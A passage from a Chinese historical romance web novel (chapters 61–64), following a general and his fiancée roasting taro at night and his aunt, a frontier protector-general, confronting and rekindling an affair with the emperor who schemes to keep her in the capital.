女郎把话说到这儿,赵留行再去拒绝,也就显得不领情了。他便笑着说了声:“那麻烦你了。” 柳善因也笑了笑,“跟我还客气什么。”- 夜里不能吵着娃娃睡觉,又不能离开娃娃跟前太久。 柳善因和赵留行在后厨转悠一圈,想了个折中的法子,就是把烤芋头用的碳炉端来寝屋外的小花园。如此,二人隔着门廊能听见屋里的一举一动,便也安心不少。有什么事,第一时间也能发现。 寂静的小院,柳善因和赵留行蹲在地上鬼鬼祟祟点燃炉中的炭火。 随之火光乍现,将二人的眉眼照亮。赵留行挑眉与眼前人相视一眼,柳善因瞬间心领神会,抬手将怀中洗好的芋头工整地摆在了碳炉之上。 赵留行垂眸盯着一颗颗圆润的芋头,似做贼般和身边人小声说:“这么烤能行吗?” 柳善因柔声答曰:“当然能行!我和哥哥从前在家就是这么吃芋头的,赵赵将军放心吧,一会儿就能吃了。” “好,我信小柳的。” 赵留行转过头冲女郎会心一笑,柳善因也笑弯了眼。 两个人就这么并肩蹲在小花园的空地上,静待食物成熟,吃上一顿美美的宵夜,然后再去一觉睡到大天亮! 期间,柳善因偏过头看着身旁眉目俊朗的儿郎,与他聊起了生活的琐碎,“赵赵将军这两日上值是碰见什么事了吗?今天回家的时候怎么累成那样?” 赵留行叹了口气,“其实也没什么,就是被小姑拉去当了一天苦力罢了。” “小姑?”柳善因不明白,“赵赵将军的小姑也在宫里吗?” 赵留行嗯了一声,“小姑是陛下的淑妃娘子,自然也在宫里。” “这样啊。”柳善因瞪了瞪眼睛。 她想赵赵将军果然是世家出身,家里不是国戚,就是皇亲,不像她一无所有……可就是这样的自己,真的配得上赵赵将军吗?自那天听过赵赵将军要娶自己后,她便总是这样怀疑。 柳善因妄自菲薄。 她却不知,最离不开她的,就是赵留行。 只瞧赵留行在皓月下偷偷摸了摸她的手,他似乎察觉女郎没太介意,便开始肆无忌惮地将女郎的手搁在自己的掌心揉捏,他问柳善因,“小柳呢?你这两日在家同二姑相处的如何?” 柳善因大抵已经习惯了眼前人这样放肆,她竟任由他对自己动手动脚。 她听了赵留行的话,想起赵平澜今日在赵家老夫人床前尽孝的模样,如实作答:“挺好的呀,二姑虽然瞧上去好像很凶,很厉害的样子,但我知道二姑其实很和善,很好说话的。” “我们今天还去护军府看了老夫人呢!” “你们往那边去了?”赵留行诧然,柳善因点点头,“二姑说想回家看看母亲,就叫我一块跟着去了。你今天回家倒头就睡,这件事没来得及跟你说,你不会生气吧?” 赵留行摇头说不会,“既是二姑叫你去的,你便去吧,正好也叫他们瞧瞧,你就是我赵留行认定的媳妇,只不过——有人为难你吗?他们有没有对你做什么?” 柳 善因想起今日赵家爹爹对自己那般敌对的模样,有些委屈。 但她为了不让赵留行担心,也不想他跟自己的亲爹闹得那么僵,便只说:“当然……没有呀,我跟威风凛凛的都护大人在一起,怎么会有人为难我呢?赵赵将军就放心吧。” 赵留行心想也是,赵平澜那样的性子,怎会吃亏? 他便没再追问。 “赵赵将军,这块芋头好像熟了!”柳善因冲炭火中间那块散发着香甜味道的芋头指了指,有点迫不及待,她刚想下手去拿就被赵留行抢了先,“你别管,小心烫到,我不怕,让我来。” “哦好,赵赵将军小心些。”柳善因连忙收回小手,乖巧等在了碳炉边。 赵留行眼疾手快拿起那块烤熟的芋头。 可他是不怕烫,并非是没有痛觉,炭烤芋头的温度,着实比水煮蛋烫上不少。 只见他拿着芋头手忙脚乱颠倒了半天,竟一个不留神将芋头弹到了女郎的脑门上,虽然只有一瞬间的接触,但上头的温度,还是惊得女郎捂着脑袋直叫:“烫烫烫!” 柳善因怎么也没想到,比炭火更危险的居然是赵留行! 他还让她小心烫到,她最该小心的是他才对! 赵留行惊愕万状,压根顾不上芋头此刻已经去往何方,他赶忙捧起眼前人的脸,大口吹起她的脑袋。他在试探弥补自己的过错,“对不起小柳,对不起,我真不是故意的。我也没想到……” 柳善因噘噘嘴,她知道眼前人不是故意,但还是不免有些恼火。 她不想说话,也不想理他。 两个人就这么僵持不下。 彼时,有人自不远处推门而来,那块出走的芋头刚好咕噜噜滚到了来人的脚边,那人俯身拾起芋头惑然看向对面,“这么晚,你们在这儿做什么?” 柳善因和赵留行纷纷回眸,他们就着火光望见那个威严的身影,异口同声唤了声:“二姑!” 赵平澜抬脚走来,柳善因赶忙从赵留行的掌心里将脑袋缩了回去,他们两个此刻低着头,就像两个半夜偷吃犯错被长辈发现的孩子,一口大气也不敢乱喘。 直到瞧见二姑站定在自己身侧,柳善因才迫不得已与之礼貌搭腔道:“都护大人,您,您要吃芋头吗…赵赵将军饿了,我们在烤芋头……” 赵平澜没接茬,她只抬脚奔了赵留行一下,“你二半夜把她拉起来,就是为了给你烤芋头?” “……我?” 赵留行往柳善因身侧歪了一下。 他蹙眉望向二姑,不是说好不要在柳善因面前训他!她怎么就是不听呢! 柳善因见赵留行挨了训,也没再计较适才他烫到自己脑门的那档子事了,赶忙伸手把人挡在怀里跟赵平澜解释说:“不是的,不是的。是我要给赵赵将军烤芋头的,不是赵赵将军要求的,都护大人别怪他。” 女郎这般替臭小子解围,赵平澜也不好多说什么。 她绕开二人身侧,蹲在了碳炉的另一边。 赵留行瞧二姑蹲下,不由得相问:“这才子时,二姑怎么起了?” “睡不着。”赵平澜漠然。 赵留行哦了一声,他好不容易寻到机会和柳善因亲密接触,自是不愿意轻易从她身上起开,没成想柳善因却伸手推开了他,毕竟当着长辈的面,这么“卿卿我我”的也不好。 “赵赵将军你好重,你快离我远点。”柳善因低声言语,赵留行没办法死皮赖脸,无奈只能蹲回了自己那边。 就这么,寂静的小院里, 兴旺的碳炉边从两个人,变成了三个。 赵平澜无视着小年轻的一举一动,她只自顾自地剥起手中那块早已沾染上尘土的芋头。柳善因心细,待她抬眼瞧见忙说:“那块脏了,您别吃。我给您换一块,这块就给赵赵将军吧。” “……” 赵留行瞠目而望。 赵平澜却无所谓地应道:“无妨,剥了皮里面照旧能吃。” 眼前人话已至此,柳善因也就闭嘴不言,她转而从篮子里掏了一盘沙糖和一双筷子出来,赵留行瞧见筷子诧然问道,“小柳,你有筷子刚才为何不用!” 柳善因挠挠头,“对不起,刚才太馋给忘了……” 赵留行默而无言,他俩可算再一次扯平了。 柳善因见状赶忙在碳炉上翻找起烤好的芋头,想要给赵留行夹上一个。 赵留行抬眸看向一脸淡然的赵平澜,想起自己的事,忍不住问及,“您这回回来,到底是什么打算?我瞧您这几日一点动静也无,您真有法子让那边放弃和呈王府的联姻?叫陛下松口把我调回北庭去?” 赵平澜闻言直视起碳炉中的火,似是与之较量般沉声道是:“快了。” “什么快了?”赵留行茫然。 赵平澜却不再应声,火光在她晦暗的眼眸中肆意飞舞,她仿若想起那年夏至,也是一样的夜晚,一样的好时节。她眯起双眼,藏下心中一闪而过的怀念,她想有些人很快就能再见了。 柳善因不参与他们的谈话,她只默默夹起一块熟透的芋头放在嘴边吹了吹,转而朝赵留行递去,“赵赵将军,给你趁热吃。” “多谢,还是小柳对我好些……” 赵留行回过神,刚想伸手去拿,就听屋内那熟悉的哼唧声渐渐响起。起初,炭火的烧灼,模糊了屋内的动静,他还听不真切。直到娃娃的哭声响彻,赵平澜便在对面冲他冷笑起来,“别吃了,叫你呢。” “没事,我去就好。”柳善因赶忙搁下木筷,却被赵留行快了一步,瞧他按下了柳善因的肩膀,“二姑都说是叫我,你别管,我去。” 柳善因拧不过,只能目送着赵留行起身。 哪知他才刚行到屋门口,便察觉不对回眸冲二人道是:“诶,这可是我的晚饭,你们记着给我留点——”【你现在阅读的是魔蝎小说 moxiexs】 60-70 第61章 第61章前尘旧事 大内的清晨,与市井的喧嚣不同,处处皆是凝重与肃穆。 辰时初的恩庆殿里,帝妃二人默然对坐在一张偌大的桌案前,侍奉的人垂眸并立在侧。 晨曦分明是暖的,殿中竟是一片清冷的死寂。 赵平涓顶着淑妃厚重的珠冠端坐案前,脖子微酸,却丝毫不敢懈怠。 她的眼神一刻不离贺鹮归,生怕行差踏错,惹得帝王厌倦。 后宫之中,不止是她,每个人面对起贺鹮归都是如此战战兢兢,如履薄冰。帝王的心思难测,前一秒贺鹮归可能在笑,后一秒便能将人掷入深渊。 被他废黜的嫔御,更是不计其数。 赵平涓虽出身世家,依仗贺氏,却依旧举步维艰着。 贺鹮归登基多年,出入后宫的次数屈指可数,他无事的时候总喜欢一个人在柳明斋呆着,群臣为此不知几次上书道是为保天家根基,请其充盈后宫,延绵子嗣。 他却都选择视而不见。 今日一早摆驾恩庆殿用膳,应是贺鹮归这么多年头一遭主动往后宫去,叫赵平涓不免多了几分期盼,她盼着能在帝王面前留些好印象,得些雨露。 毕竟这么多年,除了废后钱氏在王府生下的那一子,贺鹮归就再无其余子嗣。 如今后位空悬,倘若她能抓住这个机会,便可一步登天。 赵平涓知晓伴君如伴虎, 但在权势面前,她宁放手一搏…… “淑妃不饿?” 贺鹮归端起手中汤碗,斜眼看向身旁早已端得脖子发僵的赵平涓。 赵平涓缓过神,垂眸应道:“妾身还好。”她是怕在贺鹮归面前失礼,才迟迟没去动筷。 没成想,眼前人并不吃她那套。 贺鹮归敛去目光,已然习惯了她们的装腔作势。他抿下碗中汤羹,却觉无味,转而沉声与赵平涓说:“戴不了那么重的珠冠,就摘了吧。” 贺鹮归有口无心,不过是看她端得难受,随口提醒罢了。 偏被赵平涓解读成,帝王觉得她不配这样品阶的珠冠,要将她的淑妃之 位废黜。 赵家的女儿,不是个个都有赵平澜那样的胆魄。赵平涓作为赵家最小的女儿,从小被重视被疼爱,被寄予厚望,被养在深闺,她骨子里刻进的都是温顺与服从。 只见她惶然起身,跪在贺鹮归面前大呼:“妾身惶恐。是妾身哪里做的不好,惹了圣上不悦,还请圣上责罚。” “你惶恐个什么?”贺鹮归扶额冷笑,撂下筷子再没了胃口。他厉目瞧着眼前人,阴声说,“朕看你戴这套珠冠戴得太累,叫你去换有错?赵淑妃,朕是吃饭,不是吃人。” 赵平涓得了帝王训斥,这才恍然大悟,原是自己会错了意。 还是贺鹮归的好意! 如此可好,本来好好的机会,全被她的愚笨给搞砸了…… 赵平涓懊恼,她刚抬起手臂想跟眼前人赔个不是,家里就托人捎了信来。 赵平涓不聪明,手下的人更是离谱。她回眸瞧着傻愣着的宫人,低语道:“看不到圣上在这儿?还想不想活了?下去,有什么话,回来再说!” 宫人瞧着有点为难,“是殿下传的消息,奴,奴也不敢怠慢……” “奴这就走。” 贺鹮归凝视着眼前这对蠢得令人发笑的主仆,故意阴阳道:“既是二姐传的消息,淑妃就让她与你说完再走吧。免得将来有事耽搁,叫二姐找朕问罪!” 赵平涓再傻,这点是非还是能分得清楚,她忙回身赔罪,“妾身不敢,妾身以后一定严加管教宫人,定不会再出现这样扰乱陛下清净的事。” 贺鹮归闻言却不理,他只道:“你听不懂吗?朕叫她说。” 帝王态度强硬,赵平涓不敢忤逆。 她只好硬着头皮让宫人将贺盈安传的话告知自己,她听宫人开口时,一遍遍祈祷千万不要是什么见不得人的事,不若触怒贺鹮归,他们谁都担当不起。 谁知,等宫人的话音落下,她竟蹙眉诧异了句:“什么!二姐从北庭回来了!?” “殿下真这么说?” 宫人点头确认,主仆两个人大眼瞪起了小眼。 此刻,兴许是晨曦暂时被过路的阴云遮盖,殿中昏暗,并无人察觉帝王眉宇间的异动,唯有段翁在听见淑妃娘子的那句话后,下意识望向贺鹮归。 他看着帝王眉眼渐渐低垂,心想该来的,终究来了。 贺鹮归即刻起了身,没有人知晓他要做什么,他就那样抚袍离去,半句话也没有留下。 “圣上您往哪去——” 赵平涓茫然回首,却再唤不回帝王回头。 这下她彻底慌了神,一遍遍惶恐自己是不是闯了大祸……- 赵平澜醒于五更,彼时赵留行黏着柳善因睡得正香。 赵平澜似是早就料定好一切般,将写着她荣耀的战袍重新穿上。九年离家,九年枕戈待旦,她从老都护手里接过的那把刀,这么多年一直带在身上。 厢房的光线由暗转明, 赵平澜透过铜镜去看,再也望不见自己当年的模样。 粗糙的皮肤,布满血丝的眼眸,眉尾的伤疤,却成就了更好的她。 赵平澜自离开那天起,从未有一刻后悔过。 转眸瞧着窗外的光影,她约摸着时辰差不多,抛下的鱼饵也该上钩了,便抬手推门。哪知堪堪出门,就碰上长夏过来禀报,“二姑奶奶,好像……好像宫里来人。不知是什么事,您赶快过去瞧瞧。” “好,我知晓了。”赵平澜点点头,眼神没有丝毫变换。 长夏目送着赵平澜远走,她站在廊下不想多事,便没抬脚跟去。 随后,赵平澜穿过院门,一路去到前院望见那个熟悉,却愈发迟暮的背影默而无言。 段翁背身站着,听闻起刀剑撞在盔甲上的响,恍然转过头去。 他瞧见赵平澜,并未表现出和平日一般的疏离与分寸,他说:“二娘子,哦不,老奴该称呼一句都护大人——此去经年,咱们真是许久未见。” 赵平澜闻言亦没同他们一样称呼其为段常侍,而是垂眸道了声:“段翁。” 第62章 第62章又是二姑 赵平澜与段翁的寒暄没有持续太久,便接了帝王的口谕。昨日归家,她是带着目的去的。她知晓贺盈安一定会把她回家的消息传出去,她也知晓那位一定会来找她。 与段翁走出家门,赵平澜面无表情望向宫城的方向。 她想今朝是她第一次归家,也是最后一次,那就再见一见他吧……离开的时候,只顾着奔逃,有好多话未曾说清,亦有很多事没有了结,也算是她欠了他。 他们也该到此为止了。 “都护大人,请上车。”段翁站在贺鹮归派来的马车前垂眸。 赵平澜却不屑一顾地拒绝,“不必,我骑马去。” 段翁抬起头,不由得感叹眼前的赵二娘子当真变了许多,身旁随行的宫人本以为循规蹈矩的段内侍,会给这位高傲的都护大人些教训,不料,段翁闻言只说:“那好,都护大人路上慢行。” 话音落去,赵平澜转了头,与身后人分道扬镳- 柳明斋的某处,贺鹮归坐在雾气蒸腾的浴池里,合眼无言。 今日恩庆殿中淑妃的一句话,彻底扰乱了他安定的心,那个剑戟森森的帝王,虽在众人面前不动声色,却在听见赵平澜的消息后,早就按奈不住心下的冲动。 他记不得自己是怎么孤独地熬过了这么多春夏,他想赵平澜应是不懂他有多想再见到她…… 他想向她祈求原谅, 自己用了这样卑劣的手段逼了她。 许久之后,有人叩门道是:“陛下,都护大人到了。” 贺鹮归睁开双眼,蓦然望向门外卑躬的影子,沉声说:“去把斋里的人都清出去,今日无论是谁,没有朕的准许一律不准入内。违令者,下诏狱。” “是。”女官遵旨而去。 贺鹮归起了身,只瞧他那粉到发白的胸膛,转瞬便若隐若现在他那华贵的浴衣之下,水面中倒影出的那双凤眼,也终不再似寻日里那般锐利诡谲。 贺鹮归转过头,缓了半晌才肯推门去- 御前不让佩刀, 赵平澜将长刀交给段翁时,几多叮嘱。 待到瞧着段翁走远,她才不舍转身步入这座散发着清贵之气的楼阁。 今朝之前,赵平澜从没进过宫,因为不被赵家重视,以至于从前那些入宫拜见的机会,一次也没轮到过她。 赵平澜虽不屑,但心中难免失落。 她便是知道他们一心想要培养的,是像小妹那样端庄贤淑将来能为赵家摆布的傀儡,而不是她这种“离经叛道”的逆女,才会像疯了一样证明自己,证明他们都是错的。 赵平澜抬脚走进柳明斋,这日日熏香的地方,今日竟出奇般没有半分熏香的气息。大抵是贺鹮归知晓她不喜这些东西,便特意吩咐宫人将香炉一并撤了下去。 斋中寂寂,赵平澜目不斜视,径直走去一旁的圈椅上默然歇下。 她的心念未动,挺直的背脊上写满从容。 她好似不胜某人期待这场见面。 沉寂许久,直到察觉屏风后有个熟悉到不能再熟悉的身影闪过,赵平澜平淡的眼眸中,才泛起一丝波澜。她微微抬眸,记忆中的某人依旧是年少时的模样。 贺鹮归打屏风后头走来,看见赵平澜第一眼,便怔在了原地。 他顿了半晌,从千万句想说的话里,只挑出一句淡淡的:“我们总算见面了,朕想见赵卿一面真难……” 赵平澜回过头,不经意将袒胸露背的故人打量,他们的见面似乎并没有想象中的针锋相对,更多的是些故作坦然,她避开了贺鹮归的质问,垂眸道是:“陛下与人见面就是这副打扮?” “自然不是。” 贺鹮归嗤然,他披着飘逸的衣袍,慵懒坐去与赵平澜相隔不远的坐榻,冷眼道:“不过朕什么样赵卿没见过?怎么?这是 朕的柳明斋,朕想怎样便怎样?有何不妥?” 赵平澜冷笑,她想眼前人真是一点没变,纵使做了皇帝,却还是那副臭德行。 贺鹮归在赵平澜面前毫不避讳,他常年深居王庭,皮肤皙白,宛若鹤羽般无暇,与身旁风吹日晒的赵平澜相比起来,简直就像棋盘之上的黑白二子,错中纠缠。 赵平澜默而无言,贺鹮归亦是看着眼前人不出声。 他眯起眼睛, 想他们是如何相识的来着? 好像是那年,先帝给他寻了个骑射师父。 那师父上的第一堂课就带了个做小役的小女郎来,小女郎跟在他和付大家屁股后头任劳任怨,还总会在他们休息的偷偷练习,就算是被付大家发现责骂,她也只是站在原地倔强地一声不吭。 时间久了,他对女郎感了兴趣,开始准许她在自己学完骑射后,用他的场地。 甚至在他课业不忙的时候,还会用心教导于她。 两个人渐渐成了无话不谈的好友。 直到后来的某天,小女郎被护军府派来的人打回家。 他才知晓,她原来是赵家的二娘,不是什么孤苦伶仃的小女郎。也是那时,他才知道赵平澜为了能跟着付大家学骑射,死乞白赖地给人家白白当了三个月的“小厮”,只为能学在赵家只准男儿才准学的东西。 贺鹮归对赵平澜不是一见钟情的喜欢,是久而久之无法自拔的迷恋,他喜欢她身上的那股子倔强,喜欢她就算刀架在脖子上,也绝不认输的狠劲。 却也恨她那时不管不顾地离去…… 赵平澜凝视起眼前人投来的目光,她不知他在想些什么。 她只冷静地说:“陛下此番既不吐口同意赵家和呈王府的婚事,也不准允三郎回去,就是为了让我回来?” 这人还是那么不懂情致。 贺鹮归被迫拉回思绪,他有些不悦地冷哼,“明知故问——这世上除了你亲自照看大的赵家老三,谁还能让你如此牵绊?我吗?我若不这么做,你大抵一辈子都不会回来。” “赵平澜,你还真是铁石心肠。” 贺鹮归在赵平澜面前半分不像个喜怒无常的帝王,反倒像个怨怼横生,却依旧想要祈求怜爱的孩子。 赵平澜偏避而不谈。 她总想把从前的事留在从前,却不明白有些情感会随着时间的推移变换,愈发浓烈。她反问眼前人,“可我回来陛下又能如何?难道我们还能像从前一样瞒着所有人,然后在见不得光的地方,依旧谈情说爱?” “鹮归,我们已不再年轻了。” 贺鹮归听到赵平澜的话,有些失望。 那是他此生唯一珍惜的时光,却被赵平澜说得如此不值一提。但他并不懊恼,也不想追究太多,他沉默许久终是问出了他最想问的话,“当初为什么一声不响地离开?” “为什么……” 赵平澜叹了口气,“你不是知道吗?” 贺鹮归抬起头,脱口而出一句:“难不成就是因为赵家要把你嫁进郡王府当续弦?” 赵平澜承认说:“是。” 贺鹮归却惑然道:“可我不是告诉过你,我会禀明父皇,亲自到赵家提亲。绝不会让他们把你嫁到郡王府去?你缘何还要这样一意孤行?是,我理解你的苦衷,但为什么有些事连我也要瞒?” 赵平澜垂了眸,眼前人这么多年依旧什么也不懂,他依旧傲慢的认为,他能拯救自己。 她问贺鹮归,“嫁给你,我糟糕的人生会不一样吗?” 答案显而易见, 两个人两相对视都讳莫如深着。 嫁进郡王府,与嫁给贺鹮归,都是一样被困住,被规训,被枷锁缠绕。 唯一的不同,大抵是那年的贺鹮归还爱她,可……爱这东西能维持多久?若不是她在他最爱她的时候离开,他现在还能这样念念不忘吗? 赵平澜知道自己留在王城一定会腐坏,但去往北庭就算是死,她也能向死而生。 她不需要他的拯救,真正能拯救她的只有自己。 可贺鹮归不甘心,他如今身为帝王想要的东西理应唾手可得,他无论用什么方式,什么手段,都要把赵平澜留下来,他无法忍受她再次逃开。 贺鹮归赫然起身,去到赵平澜面前撑扶在了圈椅之上。 赵平澜厉目相视,没有半分胆怯。 她听眼前人愤然追问:“赵二娘,你真的喜欢过我,在意过我吗?还是说,那时候与我在一起,与我肆意,与我放纵,只是因为太过孤独?你到现在也不愿跟人提及我们的事,究竟把我当个什么,我就那么见不得光——” 赵平澜目光闪烁,她很久没有这样看过他的眼睛了,她握紧拳头想要让自己克制,却说不了违心的话。她沉声道了句:“喜欢。” 甚至,到现在也不曾厌倦。 不若那时的她也不会,和他那样疯狂。 赵平澜一句不动声色的喜欢,让贺鹮归彻底崩溃,他在昔日的爱人面前红了眼。 眼前人应是不知他等她的这句应答,等了多少年。只是哪怕她说上一句不喜欢,贺鹮归也不会像现在这样难受,既是喜欢,缘何要走得毅然决然,让他一人孤单。 可赵平澜不得不承认自己的野心,她有着比贺鹮归更舍弃不下的执念,就像贺鹮归不会为他舍弃皇位一样。 他们太像了。 两个锋芒毕露的人,注定不会为对方妥协。 他们永远在用自己坚硬的羽翼刺得对方遍体鳞伤,而不是将其包裹保护。 从前赵平澜以为这便是寻常,可直到看到三郎和柳善因,她才知何谓相敬相亲,她瞧得出他们都愿为对方做出让步,甚至是牺牲,也无怨无悔。 赵平澜的心肠亦不是铁做的。 她看上去再如何的无坚不摧,却也是个肉体凡胎的人。她望着贺鹮归那双红透了的眼眸,以及他若隐若现的胸膛,忽而单手扣住他的脖子,无言吻了上去。 她想有些恩怨待会儿再说,现在她要…… 做些该做的。 第63章 第63章还是二姑 爱恨在巫山缠绵,于不知不觉间混作一团,曾经那些记忆中深藏的过往,逐渐在二人起伏的对望里浮现。王城的晴空也随之被阴云遮盖,当淅沥的雨落下便瞬间打湿了宫墙。 事了之后,赵平澜披着贺鹮归的浴袍,盘腿坐在了他从不准外人触碰的坐榻上。 榻上一片狼藉, 两个人就像是经历了一场较量。 赵平澜摸了摸身上的吻痕,不由得瞥了眼身旁的人,她不解贺鹮归是怎的?明明多年抑情忍欲的人是她,为什么他竟跟第一次那样兴奋,就好似多年积压无处发泄…… 赵平澜无言搁下手臂,凝眸望去窗外光景,彼时雨还在下。 她也渐渐清醒起来。 可赵平澜望天,贺鹮归却在望她,直到此刻,他仍是不敢相信日思夜想的人就这样出现在了自己面前。 贺鹮归爬起身,像从前一样从背后抱住了她。 赵平澜任由他将脸埋进自己的颈窝,没有躲开,她知晓身后人大抵要讲些什么,“在那的这些年,你可曾有一瞬后悔过?” 赵平澜垂下眸,后悔?他不了解她吗? 她从不是个会后悔的人。 尤其是当她亲眼看着曾经混乱的北庭在众人与老都护努力下,愈发安定富足,便觉一切都是值得。也是那时,赵平澜才明白,她根本不需向赵家这些庸人证明什么,因为他们永远不会理解她。她要做的,就是用心打好每一场仗,用力保护好庭州的每一个百姓。 所以,赵平澜心里的答案,便只有一个,“未曾。” 贺鹮归却陷入沉默。 他嗅着赵平澜身上的味道,一刻也不愿放手,这个答案显然不是他想要的。他闭上眼,一遍遍回味起适才在赵平澜身上望见的,那一道道触目惊心的伤。 贺鹮归心疼不已,却也始终难将眼前人理解。 他将手缓缓伸进她的腰间,在她的身上留恋许久,才鼓起勇气同她用着几近乞求的口吻沉声道:“二娘,留在我身边好吗?我想每天都能看见你,也想和你一块老去。我现在是皇帝了,没有人能够成为我的阻碍了,你想要的,我都可以给你,只要你愿意留下做我的皇后,我什么都能给你。”” 我想带三郎回北庭,你能做的到吗?” 赵平澜答得斩钉截铁,她并未因身后人的许诺,而轻易动摇自己的想法。 他俩还真是一样的“自私”。 “赵平澜——你到底要朕做什么,你才能满意!和我在一起真就如此为难?”贺鹮归恼羞成怒狠狠松开赵平澜,他终是忍无可忍,他个不可一世的帝王已然为她将姿态放低,她竟还是那样冥顽不化。 他纵使再爱她念她,却也有自己的脾性。 赵平澜好似早已习惯了这样的争执,从前的他们就是这样,又爱又恨,乃至自以为是着。 她转头望向身边愤然的人,缓缓道:“贺鹮归,你比谁都清楚,他们根本不可能容下我这样一个叛逆的皇后,你自然也知晓,我若真肯留下,当初就不会离开。所以我倒要问陛下,到底要臣做什么,才肯放过我?” 贺鹮归闻言看着手臂上被人抓红的伤,怨着她的千万种借口,冷笑道:“究竟是谁不肯放过谁?” 榻上的温情散去, 旧怨未解,俩人又只剩敌对。 赵平澜料定今日他们一定会不欢而散,便褪去贺鹮归的浴袍,转头将自己的衣裳拾起默默穿上,只是贺鹮归岂能这么容易放过她?但瞧贺鹮归蓦然抓起她的手腕,厉声追问:“你要去哪?” 可贺鹮归根本困不住她,赵平澜随手一甩,便从他的束缚中逃脱,她穿起甲衣道是:“归家。” “谁准你归家!” “你真把朕当做你豢养的家宠?召之即来挥之即去?” 贺鹮归起了身。 赵平澜却头也不回地往外走。 贺鹮归无奈怒视着最不愿怒视的人,拿起帝王的气势,做出了最后警告,“赵家老三和滏阳郡主赐婚的圣旨,朕已拟好,你若敢离京半步,朕便即刻将旨意传出去——” 赵平澜长叹了口气,他们终是走到了这一步,他也终于肯说了实话, 贺鹮归最爱她,也最懂该如何伤害她。 他知她这辈子最恨与赵家妥协,他知赵留行是她这辈子最大的希望,这一切从开始就是贺鹮归为逼迫赵平澜回来的一场局,他已不在乎眼前人是否甘愿,他只要她能永远陪在他的身边。 贺鹮归拿起那件被赵平澜穿过的浴袍,压低声音道是:“二娘你一定会回头,我会一直等到你向我低头的那一天。这一遭,你逃不掉。” 可贺鹮归懂她,她难道就看不穿他吗? 赵平澜习以为常地回眸去看,她半分不惧,甚至有些过于平静地说:“八年前,就留不住。八年后,你又凭什么觉得能留得住?算了,都随你吧,三郎我是一定会带走。” “陛下等着瞧。” 赵平澜态度坚决,惹得贺鹮归无言闭上双眼。 等他再睁开眼,斋中人早已消失不见,他便痴痴望着赵平澜离去的方向,狠将压在心头的那口怒气咽下。 好,他等着瞧……- 赵平澜到家时,正巧碰上柳善因在厢房帮着收拾屋子。 柳善因拿着鸡毛掸子高兴地扫来扫去,等她抬头一瞧见二姑,赶忙笑着迎去,“都护大人,您回来啦?我听长夏说您进宫去了,所以就想着没事过来帮您收拾收拾。既然您回来了,那我就不打扰了。” 赵平澜有些恍惚,她眼下只想歇息歇息,便没怎么去听柳善因讲话。 她只嗯了一声搪塞。 柳善因歪着头怕打扰二姑休息,也没多追问,转头溜了出去。 可等她才走到寝屋门口,就在想到什么后转头调了回去,这回她傻乎乎忘了敲门,只瞧她将脑袋探进门便问:“都护大人,刚才忘了问您,您用过午饭了吗?” “如果还没吃,我这就去给您下碗面,您吃好再去休息也不迟。” 柳善因这边发问,赵平澜那边却已当着她的面将衣衫换下。可兴许是上次跟二姑一同洗澡的经历,叫柳善因面对此等场景,竟不觉惊讶。赵平澜转过头,随意应了声:“不用麻烦,我不是很饿。” “我有些累,想休息了。” 柳善因便点点头,识相地答曰:“那好,我就不打扰您了,您快休息吧,如果饿了再与我说便好。” 赵平澜颔首,柳善因转而关门退了出去- 柳善因一路悠悠逛逛拎着鸡毛掸子回到寝屋,赵留行正忙着给娃娃换尿布,叫她跨进门瞧见,抢着就要去帮忙,却被其一把拦下,“诶,你别管,我快换好了,还有——鸡毛掸子上有灰,你拿远些。” 柳善因最是听话。 瞧她哦了一声,立刻乖乖跑到门边站着。 等赵留行换好尿布抬眼望去,却是一脸的茫然,他是让鸡毛掸子远点,也不是让她远点…… 赵留行摇摇头,随手将小家伙放进坐床,转而来到发呆的柳善因面前,用还未洗过的臭手捏了捏女郎白嫩的小脸,朗声说:“想什么呢?这般入迷?” 柳善因回过神,用鸡毛掸子挡开了赵留行的手,有些不满道:“赵赵将军,没洗手就不要摸我了!” 他不嫌弃尿布臭,她倒嫌弃上他了! 赵留行环起双臂,故意冲眼前人说:“哦,那照小柳这么说,我若洗了手是不是就能随便摸小柳了?” “不,不是!” 柳善因害了羞,随手将鸡毛掸子丢进赵留行怀里,抬脚往屋里躲去。 赵留行被鸡毛掸子上的灰呛得呸了半天,才顾得上转身追去,等到他将鸡毛掸子搁好,转而便问:“说正经的,我刚问你,你站在那想什么呢?二姑是不是回来了?” 柳善因点点头,想起适才在厢房撞见的,如实跟眼前人说道:“我在想,我刚才在那边瞧见二姑换衣服的时候,这个位置多了好些红色的斑块,二姑是不是病了啊?人看着也没精打采的。” 柳善因忧心忡忡,她在赵留行走来时,还冲他胸口靠近脖子的地方认真指了指。 可要不说他俩天造地设呢…… 只见赵留行蹙眉想了半天,完全不明所以,最后便只惑然了声:“这位置长红斑是什么毛病?没听说过……不成给她找个郎中看看。” 第64章 第64章风波将起 傍晚时候,柳善因搬着板凳与赵留行坐在后院的廊下吃饭。 彼之厨屋里灯火融融,院中光影黯淡。 柳善因怕赵平澜不舒服吃不下油腻的东西,便特意煮了些清粥,简单烧了两个素菜。日暮将尽,她捧着大大的瓷碗,狠狠吸溜两声,叫一旁浅晃摇篮的赵留行看得入迷,竟给忘了吃饭。 柳善因咽下口中粥饭,习惯了身边人的“冒昧”,没去管他。她只抬眸盯着不远处的小菜园和赵留行轻声说:“等这菜再长一茬,我就不再种了,免得将来无人照看。” “无人照看?小柳要去哪?”赵留行一时没反应过来。 柳善因夹起几片天萝嚼了嚼,“啊?我们不是要去北庭吗?” 赵留行回神哦了一声,这事他竟给忘了。 是啊,等二姑将洛阳的事情解决后,他就可以和柳善因一块回到无拘无束的北庭去,到时候便可盘算盘算他俩的婚事。 想至此处,赵留行嘴角的笑就未再落下。 柳善因却歪着脑袋问他,“赵赵将军傻笑什么?饭都凉了,你赶快吃呀!” 赵留行闻言还算识相,赶忙在眼前人的催促里端起碗筷,柳善因见状好奇地问:“对了赵赵将军,咱们若是去了北庭,住在哪里呀?需要我准备什么吗?” 赵留行喝了 口粥,若有所思,“自是住在都护府,那边院子大,房间多,咱们还住我原先住的南院就行。至于需要准备什么——好像也没什么要准备的,你就准备和我成亲就行。” “……” 赵留行快人快语,柳善因难为情地看了他一眼,转而偏过头去不再言语。 他眼瞧着自己把天聊死了,怅然低下了头。 两人对坐不尴不尬。 恰在此时睡了整整一个下午的赵平澜,披着衣裳傲然行来。柳善因垂眸坐着,没有察觉来人高大的身影,她只听有人略过赵留行站在她身边说:“柳娘子,有我的饭吗?我有些饿了。” 柳善因恍惚抬眸,吓得惶然站起身来,“都护大人!您醒了!有,有的,我这就去给您盛——” 